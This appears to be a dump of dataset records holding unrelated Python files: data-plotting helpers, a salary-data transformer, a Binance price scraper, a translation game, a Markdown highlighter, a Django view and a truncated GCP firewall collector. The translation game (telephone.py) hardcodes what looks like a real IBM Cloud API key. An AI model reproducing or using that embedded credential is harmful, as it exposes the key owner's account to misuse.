self.f[self.i].r = self.f2[self.i2].r\n self.f[self.i].N = self.f2[self.i2].N\n self.i += 1\n self.i2 += 1\n maximum = 0\n for k in range(self.n1):\n if self.f1[k].y >= self.f[self.i].y:\n maximum = k\n self.i1 = maximum + 1\n\n def b5(self):\n self.b1()\n self.i2 += 1\n","sub_path":"toolkit.py","file_name":"toolkit.py","file_ext":"py","file_size_in_byte":8967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"162412153","text":"# A class which has some helpful functions for\n# 1. Reshaping data\n# 2. plotting data that comes within the inteest of that model\n\n\nclass Lioness(object):\n\n\tdef __init__(self,\n\t\tx_df, y_df,\n\t\tstart, split, end,\n\t\tscale, scaler,\n\t\tdatetime,\n\t\tpd,\n\t\tbokeh):\n\n\t\tself.datetime = datetime\n\t\tself.pd = pd\n\t\tself.bokeh = bokeh\n\n\t\tself.scale = scale\n\t\tself.scaler = scaler\n\n\t\t# instantiate each dataframe for self\n\t\tself.data = {}\n\t\tself.data['x_df'] = x_df\n\t\tself.data['y_df'] = y_df\n\n\t\t# init numpy arrays as none, and verify if function has\n\t\t# excuted/executed correctly through their values\n\t\t# x_train indicates a non-scaled x_df converted to a numpy array\t\t\n\t\tself.data['x_train'] = None\n\t\tself.data['y_train'] = None\n\t\t\n\t\tself.data['x_val'] = None\n\t\tself.data['y_val'] = None\n\n\t\t# need indices for the split data\n\t\t# use the same for scaled and non-scaled\n\t\tself.data['x_train_index'] = None\n\t\tself.data['y_train_index'] = None\n\n\t\t# xs_train indicates a scaled x_train\n\t\tself.data['xs_train'] = None\n\t\tself.data['ys_train'] = None\n\t\t\n\t\tself.data['xs_val'] = None\n\t\tself.data['ys_val'] = None\n\n\t\t# somethings for the plotter\n\t\tself.shifted = {}\n\t\tself.shifted['X'] = None\n\t\tself.shifted['Y'] = None\n\t\tself.shifted['X_index'] = None\n\t\tself.shifted['Y_index'] = None\n\t\t\n\t\t# variable for lookback\n\t\tself.lookback = 1\n\t\t\n\t\t# check if start, split, end are datetime objects\n\t\tself.dates = {}\n\n\t\tif isinstance(start, datetime.date):\n\t\t\tself.dates['start'] = start\n\t\telse:\n\t\t\tself.dates['start'] = datetime.datetime.strptime(start, '%Y-%M-%d').date()\n\t\tif isinstance(split, datetime.date):\n\t\t\tself.dates['split'] = split\n\t\telse:\n\t\t\tself.dates['split'] = datetime.datetime.strptime(split, '%Y-%M-%d').date()\n\t\tif isinstance(end, datetime.date):\n\t\t\tself.dates['end'] = end\n\t\telse:\n\t\t\tself.dates['end'] = datetime.datetime.strptime(end, '%Y-%M-%d').date()\n\n\t\t# make sure an object can be instantiated\n\t\t# not sure super instantiation is needed\n\t\t# super(DataTamer, self).__init__()\n\n\tdef split_data(self):\n\t\t# split the dataframe, convert it to a numpy array and send it\n\t\t# back with its indices\n\t\tx_train = self.data['x_df'][self.dates['start']:self.dates['split']]\n\t\ty_train = self.data['y_df'][self.dates['start']:self.dates['split']]\n\t\t\n\t\tself.data['x_train'] = x_train\n\t\tself.data['y_train'] = y_train\n\t\t\n\t\tx_val = self.data['x_df'][self.dates['split']:self.dates['end']]\n\t\ty_val = self.data['y_df'][self.dates['split']:self.dates['end']]\n\n\t\tself.data['x_val'] = x_val \n\t\tself.data['y_val'] = y_val \n\t\t\n\t\tself.data['x_train_index'] = x_train.index.values\n\t\tself.data['y_train_index'] = y_train.index.values\n\n\t\tself.data['x_val_index'] = x_val.index.values\n\t\tself.data['y_val_index'] = y_val.index.values\n\n\t\t# check if scaling is required, if not, dont use it\n\t\tif self.scale == True:\n\t\t\t# find the actual length of the date range\n\t\t\ttrain_set_len = len(self.data['x_df'][self.date['start']:self.date['split']])\n\t\t\tval_set_len = len(self.data['y_df'][self.date['start']:self.date['split']])\n\n\t\t\t# convert the dataframes to numpy arrays\n\t\t\tx_np = self.data['x_df'].values.astype('float32')\n\t\t\tx_npIndex = self.data['x_df'].index.values\n\n\t\t\ty_np = self.data['y_df'].values.astype('float32') \n\t\t\ty_npIndex = self.data['y_df'].index.values\n\n\t\t\t# transform the numpy arrays, according to the scaler\n\t\t\txs = self.scaler.fit_transform(x_np) \n\t\t\tys = self.scaler.fit_transform(y_np)\n\n\t\t\t# reshape them as necessary, splitting them into training,validation\n\t\t\tself.data['xs_train'] = xs[0:train_set_len]\n\t\t\tself.data['ys_train'] = ys[0:train_set_len]\n\n\t\t\tself.data['xs_val'] = xs[train_set_len:(train_set_len + val_set_len)]\n\t\t\tself.data['ys_val'] = ys[train_set_len:(train_set_len + val_set_len)]\n\n\t\treturn(self)\n\n\tdef shift(self, dataset=None):\n\t\t# X, and Y can be thought of splitting the time dimensions of the dataset\n\t\t# that is to say that they cannot be plotted egainst each other,\n\t\t# but signify a shift in the rows of the data\n\t\t# that is then split at that point\n\t\t# here X=t, Y=t+1\n\t\tself.shifted['X'], self.shifted['Y'] = [], []\n\t\tself.shifted['X_index'], self.shifted['Y_index'] = [], []\n\n\t\tif dataset == None:\n\t\t\tprint('No dataset mentioned (y_train, y_test)')\n\t\t\treturn(0)\n\n\t\tif dataset == 'y_train':\n\t\t\tfor i in range(len(self.data['y_train']) - self.lookback - 1):\n\t\t\t\tself.shifted['X'].append(self.data['y_train'][i:(i + self.lookback), ])\n\t\t\t\tself.shifted['X_index'].append(self.data['y_train_index'][i:(i + self.lookback), ])\n\t\t\t\tself.shifted['Y'].append(self.data['y_train'][i + self.lookback, ])\n\t\t\t\tself.shifted['Y_index'].append(self.data['y_train_index'][i + self.lookback, ])\n\n\t\tif dataset == 'y_val':\n\t\t\tfor i in range(len(self.data['y_val']) - self.lookback - 1):\n\t\t\t\tself.shifted['X'].append(self.data['y_val'][i:(i + self.lookback), ])\n\t\t\t\tself.shifted['X_index'].append(self.data['y_val_index'][i:(i + self.lookback), ])\n\t\t\t\tself.shifted['Y'].append(self.data['y_val'][i + self.lookback, ])\n\t\t\t\tself.shifted['Y_index'].append(self.data['y_val_index'][i + self.lookback, ])\n\t\t\n\t\t# Convert to numpy arrays\n\n\t\tself.shifted['X'] = np.array(self.shifted['X'])\n\t\tself.shifted['Y'] = np.array(self.shifted['Y'])\n\t\tself.shifted['X_index'] = np.array(self.shifted['X_index'])\n\t\tself.shifted['Y_index'] = np.array(self.shifted['Y_index'])\n\t\t\n\t\treturn(self)\n\n\tdef bokplot(self, title='Placeholder'):\n\t\tfrom bokeh.io import output_notebook\n\t\tfrom bokeh.plotting import figure, show, output_file\n\t\toutput_notebook()\n\n\t\tp1 = figure(title=title,\n\t\t\t\t\tx_axis_type=\"datetime\",\n\t\t\t\t\tplot_width=1400,\n\t\t\t\t\tplot_height=400,\n\t\t\t\t\tbackground_fill_color=\"#EFE8E2\")\n\n\t\t# check if scaling has been applied\n\t\t# use the same indices for both cases\n\t\tif self.scale == True:\n\t\t\t# check if ys_train exists, and plot if yes\n\t\t\tif self.data['ys_train'] is not None:\n\t\t\t\tif isinstance(self.data['ys_train'], self.pd.DataFrame):\n\t\t\t\t\tlocal_y_train = self.data['ys_train'].values.astype('float32')\n\t\t\t\t\tp1.line(self.data['y_train_index'],\n\t\t\t\t\t\t\tlocal_ys_train.reshape(len(local_ys_train)),\n\t\t\t\t\t\t\tcolor='#E08E79',\n\t\t\t\t\t\t\tlegend='ys_train')\n\t\t\t\telse: # if it's a np array\n\t\t\t\t\tp1.line(self.data['y_train_index'],\n\t\t\t\t\t\t\tlocal_y_train.reshape(len(self.data['ys_train'])),\n\t\t\t\t\t\t\tcolor='#E08E79',\n\t\t\t\t\t\t\tlegend='ys_train')\n\n\t\t\t# check if ys_val exists, and plot if yes\n\t\t\tif self.data['ys_val'] is not None:\n\t\t\t\tif isinstance(self.data['ys_val'], self.pd.DataFrame):\n\t\t\t\t\tlocal_ys_val=self.data['ys_val'].values.astype('float32')\n\t\t\t\t\tp1.line(self.data['y_val_index'],\n\t\t\t\t\t\t\tlocal_ys_val.reshape(len(local_ys_val)),\n\t\t\t\t\t\t\tcolor='#3B8686',\n\t\t\t\t\t\t\tlegend='ys_val')\n\t\t\t\telse: # if it's an np.array\n\t\t\t\t\tp1.line(self.data['y_val_index'],\n\t\t\t\t\t\t\tlocal_ys_val.reshape(len(self.data['ys_val'])),\n\t\t\t\t\t\t\tcolor='#3B8686',\n\t\t\t\t\t\t\tlegend='ys_val')\n\n\t\tif self.scale == False:\n\t\t\tif self.data['y_train'] is not None:\n\t\t\t\tif isinstance(self.data['y_train'], self.pd.DataFrame):\n\t\t\t\t\tlocal_y_train=self.data['y_train'].values.astype('float32')\n\t\t\t\t\tp1.line(self.data['y_train_index'],\n\t\t\t\t\t\t\tlocal_y_train.reshape(len(local_y_train)),\n\t\t\t\t\t\t\tcolor='#E08E79',\n\t\t\t\t\t\t\tlegend='y_train')\n\t\t\t\telse: # if it's an np.array\n\t\t\t\t\tp1.line(self.data['y_train_index'],\n\t\t\t\t\t\t\tlocal_y_train.reshape(len(local_y_train)),\n\t\t\t\t\t\t\tcolor='#E08E79',\n\t\t\t\t\t\t\tlegend='y_train')\n\n\t\t\tif self.data['y_val'] is not None:\n\t\t\t\tif isinstance(self.data['y_val'], self.pd.DataFrame):\n\t\t\t\t\tlocal_y_val = self.data['y_val'].values.astype('float32')\n\t\t\t\t\tp1.line(self.data['y_val_index'],\n\t\t\t\t\t\t\tlocal_y_val.reshape(len(local_y_val)),\n\t\t\t\t\t\t\tcolor='#3B8686',\n\t\t\t\t\t\t\tlegend='y_val')\n\t\t\t\telse: # if it's an np.array\n\t\t\t\t\tp1.line(self.data['y_val_index'],\n\t\t\t\t\t\t\tlocal_y_val.reshape(len(local_y_val)),\n\t\t\t\t\t\t\tcolor='#3B8686',\n\t\t\t\t\t\t\tlegend='y_val')\n\n\t\t# aesthetic mapping\n\t\tp1.grid.grid_line_alpha=0.1\n\t\tp1.xaxis.axis_label=\"Date\"\n\t\tp1.yaxis.axis_label=\"Price\"\n\t\tp1.legend.location=\"top_left\"\n\t\tp1.ygrid.band_fill_alpha=0.2\n\t\tshow(p1)","sub_path":"DataTamer.py","file_name":"DataTamer.py","file_ext":"py","file_size_in_byte":7869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"49712279","text":"from . import base\nfrom . import mixins\n\nfrom datetime import date\n\n\nclass TransformedRecord(\n mixins.GenericCompensationMixin,\n mixins.GenericDepartmentMixin, mixins.GenericIdentifierMixin,\n mixins.GenericJobTitleMixin, mixins.GenericPersonMixin,\n mixins.MembershipMixin, mixins.OrganizationMixin, mixins.PostMixin,\n mixins.RaceMixin, mixins.LinkMixin, base.BaseTransformedRecord):\n\n MAP = {\n 'full_name': 'Employee Name',\n 'department': 'Dept Name',\n 'job_title': 'Job Title',\n 'hire_date': 'Last Start Date',\n 'compensation': 'Annual Rate',\n 'gender': 'Gender',\n 'nationality': 'Ethnic Grp Descr',\n 'employee_type': 'Full/Part Time',\n }\n\n # The name of the organization this WILL SHOW UP ON THE SITE, so double check it!\n ORGANIZATION_NAME = 'The University of Texas MD Anderson Cancer Center'\n\n # What type of organization is this? This MUST match what we use on the site, double check against salaries.texastribune.org\n ORGANIZATION_CLASSIFICATION = 'University Hospital'\n\n # ???\n compensation_type = 'FT'\n\n # How would you describe the compensation field? We try to respect how they use their system.\n # description = 'Annual salary'\n\n # When did you receive the data? NOT when we added it to the site.\n DATE_PROVIDED = date(2019, 8, 30)\n\n # The URL to find the raw data in our S3 bucket.\n URL = ('https://s3.amazonaws.com/raw.texastribune.org/'\n 'ut_md_anderson/salaries/2019/ORR.xlsx')\n\n # How do they track gender? We need to map what they use to `F` and `M`.\n gender_map = {'Female': 'F', 'Male': 'M'}\n\n race_map = {\n '2+RACE': 'Two or more races',\n 'American Indian/Alaska Native': 'American Indian/Alaska Native',\n 'Asian': 'Asian',\n 'Black/African American': 'Black/African American',\n 'Hispanic/Latino': 'Hispanic/Latino',\n 'Native Hawaiian/Oth Pac Island': 'Native Hawaiian/Oth Pac Island',\n 'White': 'White',\n '': 'Not given',\n }\n\n # This is how the loader checks for valid people. Defaults to checking to see if `last_name` is empty.\n @property\n def is_valid(self):\n # Adjust to return False on invalid fields. For example:\n return self.full_name.strip() != ''\n\n @property\n def race(self):\n return {\n 'name': self.race_map[self.nationality.strip()]\n }\n\n @property\n def compensation_type(self):\n employee_type = self.employee_type\n\n if employee_type == 'Full-Time':\n return 'FT'\n\n if employee_type == 'Part-Time':\n return 'PT'\n\n @property\n def description(self):\n status = self.get_mapped_value('employee_type')\n if status == 'Full-Time':\n return \"Annual salary\"\n\n if status == 'Part-Time':\n return \"Annual part-time salary\"\n\n @property\n def person(self):\n name = self.get_name()\n r = {\n 'family_name': name.last,\n 'given_name': name.first,\n 'additional_name': name.middle,\n 'name': unicode(name),\n 'gender': self.gender_map[self.gender.strip()]\n }\n\n return r\n\n def get_raw_name(self):\n split_name = self.full_name.split(',')\n last_name = split_name[0]\n split_firstname = split_name[1].split(' ')\n first_name = split_firstname[0]\n if len(split_firstname) == 2 and len(split_firstname[1]) == 1:\n middle_name = split_firstname[1]\n else:\n first_name = split_name[1]\n middle_name = ''\n\n return u' '.join([first_name, middle_name, last_name])\n\ntransform = base.transform_factory(TransformedRecord)\n","sub_path":"tx_salaries/utils/transformers/ut_md_anderson.py","file_name":"ut_md_anderson.py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"263644363","text":"import time\nimport datetime\nimport json\nfrom requests import get\nfrom pymongo import MongoClient\n\nclient = MongoClient('mongodb://localhost:27017/')\ndb = client.Binance1\ncollection = db.Binance1\n\nip = get('http://ip-api.com/json')\nip = ip.json()\n\nts = time.time()\nst = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n\nif(ip['countryCode'] == 'IR'):\n print(\"Turn on your VPN!\")\nelse:\n tickers = get('https://api.binance.com/api/v3/ticker/price')\n tickers = tickers.json()\n for ticker in tickers:\n # print(st)\n pair = {\"ticker\": ticker['symbol'],\n \"price\": float(ticker['price']),\n \"updatetime\": st,\n }\n \n allTicker = db.allTicker\n allTicker_id = allTicker.insert_one(pair).inserted_id\n","sub_path":"getAllTicker.py","file_name":"getAllTicker.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"110032647","text":"import json\nimport time\nfrom difflib import SequenceMatcher\nimport sys\n\nfrom ibm_watson import LanguageTranslatorV3\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\n\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n\nif len(sys.argv) != 2 or (sys.argv[1] != \"demo\" and sys.argv[1] != \"play\"):\n print(\"Improper command line argument. Expected 'telephone.py [demo/play]'\")\n quit()\n\nauthenticator = IAMAuthenticator('-LsDW7oVqIm2_wjDZeAcEnt5c3kmjqKoP7DWl90PX4BV')\nlanguage_translator = LanguageTranslatorV3(\n version='2018-05-01',\n authenticator=authenticator\n)\n\nlanguage_translator.set_service_url('https://api.us-south.language-translator.watson.cloud.ibm.com')\n\n# Input should be some complex sentence in case it will have some real changes, for example: how are you.\nsentence = input(\"Player 1, enter sentence: \")\nanswer = sentence\n\n# english, italian, german, french, english\nlanguages = [\"en-it\", \"it-de\", \"de-fr\", \"fr-en\"]\nseparator = \"-\" * 15\n\nfor i in range(4):\n translation = language_translator.translate(\n text=sentence,\n model_id=languages[i]).get_result()\n result = json.dumps(translation, indent=2, ensure_ascii=False)\n sentence = translation.get('translations')[0]['translation']\n print(f\"Translated from {languages[i][:2]} to {languages[i][3:]}\")\n if sys.argv[1] == \"demo\" and i < 3:\n print(f\"Sentence: {sentence}\")\n print(f\"{separator}\\n\")\n time.sleep(1)\n\nprint(f\"\\n{separator}\")\nprint(f\"The sentence is: {sentence}\")\nprint(f\"{separator} \\n\")\nguess = input(\"Player 2, make your guess: \")\nprint(f\"Similarity score: {str(similar(answer.lower(), sentence.lower()) * 100)[:4]}%\")\n","sub_path":"telephone.py","file_name":"telephone.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294033186","text":"#!/data/data/com.termux/files/usr/bin/env python3\n\n# Minx Lint by Caesar Leroux 2018 (C)\n# Caesar Leroux 2018 (C)\n# Minx Lint 2018 (C)\n# Licensed under the MIT license\n\ntry:\n import sys\n import os\nexcept Exception as error:\n print(str(error))\n exit()\n\nclass Parser:\n def is_float(self, number):\n try:\n float(number)\n return True\n except Exception as error:\n return False\n\n def getlast(self, list):\n return int(len(list)) - 1\n\n def getlastbefore(self, list):\n return int(len(list)) - 2\n\n def validate(self, expression, line):\n expressionlist = list(expression)\n lenexpression = len(expressionlist)\n if expressionlist[0] == \"#\":\n pass\n elif expression == \"quit;\":\n print(\"Program terminated!\")\n sys.exit()\n elif expression == \"osname?;\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif expression == \"dirname?;\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif expression == \"files?;\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif lenexpression == 8 and expressionlist[0] == \"a\" and expressionlist[1] == \"d\" and expressionlist[2] == \"d\" and expressionlist[3] == \" \" and self.is_float(expressionlist[4]) == True and expressionlist[5] == \",\" and self.is_float(expressionlist[6]) == True and expressionlist[7] == \";\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif lenexpression == 8 and expressionlist[0] == \"s\" and expressionlist[1] == \"u\" and expressionlist[2] == \"b\" and expressionlist[3] == \" \" and self.is_float(expressionlist[4]) == True and expressionlist[5] == \",\" and self.is_float(expressionlist[6]) == True and expressionlist[7] == \";\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif lenexpression == 8 and expressionlist[0] == \"m\" and expressionlist[1] == \"u\" and expressionlist[2] == \"l\" and expressionlist[3] == \" \" and self.is_float(expressionlist[4]) == True and expressionlist[5] == \",\" and self.is_float(expressionlist[6]) == True and expressionlist[7] == \";\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif lenexpression == 8 and expressionlist[0] == \"d\" and expressionlist[1] == \"i\" and expressionlist[2] == \"v\" and expressionlist[3] == \" \" and self.is_float(expressionlist[4]) == True and expressionlist[5] == \",\" and self.is_float(expressionlist[6]) == True and expressionlist[7] == \";\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif expressionlist[0] == \"s\" and expressionlist[1] == \"o\" and expressionlist[2] == \"u\" and expressionlist[3] == \"t\" and expressionlist[4] == \" \" and expressionlist[5] == \"'\" and expressionlist[self.getlastbefore(expressionlist)] == \"'\" and expressionlist[self.getlast(expressionlist)] == \";\":\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif expression == \"begin;\" and line == 1:\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n elif expression == \"end;\" and line == self.getlast(expressionlist):\n print(\"Checking line \" + str(line) + \"...\")\n print(\"Code validated!\")\n else:\n print(\"Syntax error detected on line \" + str(line) + \"!\")\n sys.exit()\n\nclass CLI:\n def version(self):\n version = 1.0\n return str(version)\n\n def read_file(self, file):\n parser = Parser()\n if os.path.isfile(file) == True:\n program = open(file, \"r\")\n contents = program.readlines()\n program.close()\n lenfile = len(contents)\n rend = int(lenfile) - 1\n for i in range(0, rend):\n print(\"\")\n code = contents[i].rstrip()\n line_num = int(i) + 1\n parser.validate(code, line_num)\n print(\"\")\n print(\"Program read and exexuted, terminating.\")\n sys.exit()\n else:\n print(\"Program not found!\")\n sys.exit()\n\n def run(self):\n arglist = sys.argv\n lenargs = len(arglist)\n if lenargs == 2 and arglist[1] == \"version\":\n print(\"Minx Lint \" + str(self.version()))\n elif lenargs == 2 and arglist[1] != \"version\":\n self.read_file(arglist[1])\n else:\n print(\"Invalid command!\")\n sys.exit()\n\ndef main():\n main = CLI()\n main.run()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"pkgs/minx/src/minxlint.py","file_name":"minxlint.py","file_ext":"py","file_size_in_byte":4800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"317888637","text":"# P58_8\n\nimport turtle\nimport random\ndef screenLeftClick(x,y) :\n global r,g,b\n tSize=random.randrange(2,10)\n turtle.shapesize(tSize)\n r = random.random()\n g = random.random()\n b = random.random()\n turtle.color((r,g,b))\n tAngle=random.randrange(0,360)\n turtle.penup()\n turtle.goto(x,y)\n turtle.left(tAngle)\n turtle.stamp()\n\ntSize,tAngle = 0.0,0.0\npSize=0.0\nr,g,b = 0.0, 0.0, 0.0\n\nturtle.title(\"거북이로 그림을 그리기\")\nturtle.shape('turtle')\nturtle.pensize(pSize)\n\nturtle.onscreenclick(screenLeftClick, 1)\n\nturtle.done()","sub_path":"workspace/python_study/P58_2.py","file_name":"P58_2.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"362560232","text":"# coding: utf-8\n# Copyright (c) 2012, the Dart project authors. Please see the AUTHORS file\n# for details. All rights reserved. Use of this source code is governed by a\n# BSD-style license that can be found in the LICENSE file.\n\n\"\"\"\n:mod:`gfm.hidden_hilite` -- Fenced code blocks with no highlighting\n====================================================================\n\nThe :mod:`gfm.hidden_hilite` module provides an extension that allows the use\nof fenced code blocks without adding syntax highlighting or line numbers.\n\nTypical usage\n-------------\n\n.. testcode::\n\n import markdown\n from gfm import HiddenHiliteExtension\n\n print(markdown.markdown(\"```\\\\nimport this\\\\nprint('foo')\\\\n```\",\n extensions=[HiddenHiliteExtension()]))\n\n.. testoutput::\n\n

import this\n print('foo')

\n\n\"\"\"\n\nfrom markdown.extensions.codehilite import CodeHiliteExtension, CodeHilite\n\ntry:\n from pygments import highlight\n from pygments.lexers import get_lexer_by_name, guess_lexer\n from pygments.formatters import get_formatter_by_name\n pygments = True\nexcept ImportError:\n pygments = False\n\nclass HiddenHiliteExtension(CodeHiliteExtension):\n \"\"\"\n A subclass of CodeHiliteExtension that doesn't highlight on its own.\n \"\"\"\n \n # def __init__(self, **kwargs):\n # # define default configs\n # self.config = {\n # 'linenums': [None,\n # \"Use lines numbers. True=yes, False=no, None=auto\"],\n # 'guess_lang': [True,\n # \"Automatic language detection - Default: True\"],\n # 'css_class': [\"codehilite\",\n # \"Set class name for wrapper
- \"\n # \"Default: codehilite\"],\n # 'pygments_style': ['default',\n # 'Pygments HTML Formatter Style '\n # '(Colorscheme) - Default: default'],\n # 'noclasses': [False,\n # 'Use inline styles instead of CSS classes - '\n # 'Default false'],\n # 'use_pygments': [True,\n # 'Use Pygments to Highlight code blocks. '\n # 'Disable if using a JavaScript library. '\n # 'Default: True']\n # }\n # super(HiddenHiliteExtension, self).__init__(**kwargs)\n \n def extendMarkdown(self, md, md_globals):\n #print(md_globals)\n md.registerExtension(self)\n for key in self.config:\n if key in md_globals:\n self.config[key][0] = md_globals[key][0]\n self.config['pygments_show_filename'] = md_globals.get('pygments_show_filename', False)\n \n\nclass HiddenHilite(CodeHilite):\n #def __init__(self, *_, filename='', **args4base):\n def __init__(self, filename='', **args4base):\n # if _:\n # raise TypeError(\"__init__() expected a keyword argument only\")\n \n CodeHilite.__init__(self,**args4base)\n #print(self.noclasses)\n #print(args4base['noclasses'])\n #raise KeyboardInterrupt()\n self.filename = filename\n\n def hilite(self):\n if not self.filename:\n return CodeHilite.hilite(self)\n\n self.src = self.src.strip('\\n')\n\n if self.lang is None:\n self._parseHeader()\n if pygments and self.use_pygments:\n try:\n lexer = get_lexer_by_name(self.lang)\n except ValueError:\n try:\n if self.guess_lang:\n lexer = guess_lexer(self.src)\n else:\n lexer = get_lexer_by_name('text')\n except ValueError:\n lexer = get_lexer_by_name('text')\n formatter = get_formatter_by_name('html',\n linenos=self.linenums,\n cssclass=self.css_class,\n style=self.style,\n noclasses=self.noclasses,\n hl_lines=self.hl_lines,\n wrapcode=True,\n filename=self.filename,\n )\n return highlight(self.src, lexer, formatter)\n \n return CodeHilite.hilite(self)\n","sub_path":"qlm/hidden_hilite.py","file_name":"hidden_hilite.py","file_ext":"py","file_size_in_byte":4463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"118929663","text":"#!/usr/bin/env python3\nimport os\nimport sys\n\nfrom scenario.trajectory_tracking.experiment.experiment_common import make_environment_and_controller\n\nsys.path.append(str(os.environ[\"HOME\"]) + \"/cavs-environments\")\n\nconfig = {\n 'name': 'test', 'group': 'test', 'max_run_length': 10000000, 'num_cpus': None, 'checkpoint': None,\n 'controller': 'pure_pursuit', 'environment': {\n 'max_distance_error': 5.0, 'max_speed_error': 10.0, 'controller': {}, 'process': {\n 'path_generator': 'carla_json_generator', 'path_generator_config': {}, 'tire_model': 'fiala'\n }, 'observer': {\n 'num_waypoints': 10, 'waypoint_spacing': 1.0, 'use_angles': True, 'use_distances': True,\n 'use_relative_distances': False, 'use_target_speeds': False,\n 'use_velocity_reference_angle': False, 'use_alternate_reference_angle': False,\n 'use_relative_angles': False, 'space_waypoints_with_actual_speed': False, 'mirror': False\n }, 'rewarder': {'distance_error_to_speed_tradeoff': 20.0}, 'terminator': {}\n }, 'rllib': {\n 'episodes_per_batch': 144, 'train_batch_size': 1000, 'eval_prob': 0.02, 'num_workers': 7,\n 'observation_filter': 'MeanStdFilter', 'noise_size': 250000000, 'report_length': 10, 'env_config': {},\n 'model': {\n 'conv_filters': None, 'fcnet_activation': 'relu', 'fcnet_hiddens': [128, 128, 128, 128, 128, 128]\n }\n }, 'num_runs': 1, 'render': True\n}\n\nenv, trainer = make_environment_and_controller(config, None)\n\nwhile True:\n action = trainer.compute_action(env.process)\n observation, reward, is_terminal, extra = env.step(action)\n env.render()\n","sub_path":"scenario/trajectory_tracking/example/trajectory_tracking_ppursuit.py","file_name":"trajectory_tracking_ppursuit.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"444877093","text":"import random\n\nli = []\nfor i in range(-1000,1001):\n li.append(i)\ne = 100\nfile1 = open(\"/home/karan/input.txt\",\"a\")\nwhile e>0:\n e-=1\n a = []\n for i in range(9):\n a.append(random.choice(li))\n random.shuffle(a)\n file1.write(\"\\n\"+str(a) )\n\nfile1.close()","sub_path":"Input/test_cases.py","file_name":"test_cases.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"71070459","text":"import json\nfrom django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponse, Http404\nfrom .models import Track \n\ndef track_view(request, title):\n\t# try:\n\t# \ttrack=Track.objects.get(title=title)\n\t# except Track.DoesNotExist:\n\t# \traise Http404\n\n\ttrack = get_object_or_404(Track, title=title)\n\t#return HttpResponse('Ok')\n\t#return render(request, 'track.html',{'track': track})\n\n\tdata={\n\t\t'title': track.title,\n\t\t'order': track.order,\n\t\t'album': track.album.title,\n\t\t'artist':{\n\t\t\t'name':track.artist.first_name,\n\t\t\t'bio':track.artist.biography,\n\t\t}\n\t}\n\n\tjson_data=json.dumps(data) #Coge el data, lo pasa a json y lo guarda en esta variable.\n\n\treturn HttpResponse(json_data, content_type='application/json')","sub_path":"tracks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231617864","text":"import re\nimport time\nfrom datetime import datetime, timedelta\nfrom spaceone.inventory.libs.manager import GoogleCloudManager\nfrom spaceone.inventory.libs.schema.base import ReferenceModel\nfrom spaceone.inventory.model.firewall.data import *\nfrom ipaddress import ip_address, IPv4Address\nfrom spaceone.inventory.model.firewall.cloud_service import *\nfrom spaceone.inventory.connector.firewall import FirewallConnector\nfrom spaceone.inventory.model.firewall.cloud_service_type import CLOUD_SERVICE_TYPES\nfrom pprint import pprint\n\n\nclass FirewallManager(GoogleCloudManager):\n connector_name = 'FirewallConnector'\n cloud_service_types = CLOUD_SERVICE_TYPES\n\n def collect_cloud_service(self, params):\n print(\"** Firewall START **\")\n start_time = time.time()\n \"\"\"\n Args:\n params:\n - options\n - schema\n - secret_data\n - filter\n - zones\n Response:\n CloudServiceResponse\n \"\"\"\n collected_cloud_services = []\n secret_data = params['secret_data']\n firewall_conn: FirewallConnector = self.locator.get_connector(self.connector_name, **params)\n\n # Get lists that relate with snapshots through Google Cloud API\n firewalls = firewall_conn.list_firewall()\n compute_engine_vms = firewall_conn.list_instance_for_networks()\n region = 'global'\n for firewall in firewalls:\n target_tag = firewall.get('targetTags', [])\n filter_range = ', '.join(firewall.get('sourceRanges', ''))\n log_config = firewall.get('log_config', {})\n\n protocol_port = []\n flag = 'allowed' if 'allowed' in firewall else 'denied'\n for allowed in firewall.get(flag, []):\n ip_protocol = allowed.get('IPProtocol', '')\n\n for port in allowed.get('ports', []):\n protocol_port.append(f'{ip_protocol}: {port}')\n\n display = {\n 'enforcement': 'Disabled' if firewall.get('disabled') else 'Enabled',\n 'network_display': self._get_matched_last_target('network', firewall),\n 'direction_display': 'Ingress' if firewall.get('direction') == 'INGRESS' else 'Egress',\n 'target_display': ['Apply to all'] if not target_tag else target_tag,\n 'filter': f'IP ranges: {filter_range}',\n 'protocols_port': protocol_port,\n 'action': 'Allow' if 'allowed' in firewall else 'Deny',\n 'logs': 'On' if log_config.get('enable') else 